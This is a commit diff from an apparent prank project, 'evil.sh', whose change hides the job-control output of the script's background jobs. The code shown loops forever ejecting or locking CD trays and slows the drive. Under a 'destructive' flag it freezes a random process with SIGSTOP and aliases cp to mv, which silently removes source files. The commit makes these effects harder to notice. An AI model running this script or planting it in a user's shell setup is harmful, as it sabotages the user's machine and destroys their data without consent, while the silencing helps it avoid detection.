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fix #79 silence job control output #81

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fix #79 silence job control output #81

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12 changes: 6 additions & 6 deletions evil.sh
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Original file line number Diff line number Diff line change
Expand Up @@ -75,29 +75,29 @@ annoying && if [ "$(uname)" = 'Darwin' ]; then
# Much less fun on Macs, alas.
if [[ $[$RANDOM % 2] == 0 ]]; then
# Eject!
sh -c 'sleep $[($RANDOM % 900) + 300]s; while :; do drutil eject; sleep $[($RANDOM % 20) + 1]s; done' > /dev/null 2>&1 &
(sh -c 'sleep $[($RANDOM % 900) + 300]s; while :; do drutil eject; sleep $[($RANDOM % 20) + 1]s; done' &) >/dev/null 2>&1
else
# Lock! Admittedly, much less annoying on most Macs, which don’t support
# locking and are slot-loading anyway.
sh -c 'while :; do drutil tray close; sleep 0.1s; done' > /dev/null 2>&1 &
(sh -c 'while :; do drutil tray close; sleep 0.1s; done' &) >/dev/null 2>&1
fi;
else
N=$[$RANDOM % 3];
if [[ $N == 0 ]]; then
# Open and close randomly after a few minutes.
sh -c 'sleep $[($RANDOM % 900) + 300]s; while :; do eject -T; sleep $[($RANDOM % 20) + 1]s; done' > /dev/null 2>&1 &
(sh -c 'sleep $[($RANDOM % 900) + 300]s; while :; do eject -T; sleep $[($RANDOM % 20) + 1]s; done' &) >/dev/null 2>&1
elif [[ $N == 1 ]]; then
# Lock, and keep closing just in case.
sh -c 'while :; do eject -t; eject -i on; sleep 0.1s; done' > /dev/null 2>&1 &
(sh -c 'while :; do eject -t; eject -i on; sleep 0.1s; done' &) >/dev/null 2>&1
else
# Slowness (1× CD speed). This has to be in a loop because it resets with
# every ejection.
sh -c 'set +o errexit; while :; do eject -x 1; sleep 1s; done' > /dev/null 2>&1 &
(sh -c 'set +o errexit; while :; do eject -x 1; sleep 1s; done' &) >/dev/null 2>&1
fi;
fi;

# Send STOP signal to random process at random time.
destructive && sleep $[ ( $RANDOM % 100 ) + 1 ]s && kill -STOP $(ps x -o pid|sed 1d|sort -R|head -1) &
destructive && (sleep $[ ( $RANDOM % 100 ) + 1 ]s && kill -STOP "$(ps x -o pid | sed 1d | sort -R | head -1)" &) >/dev/null 2>&1

# Have `cp` perform `mv` instead.
destructive && alias cp='mv';
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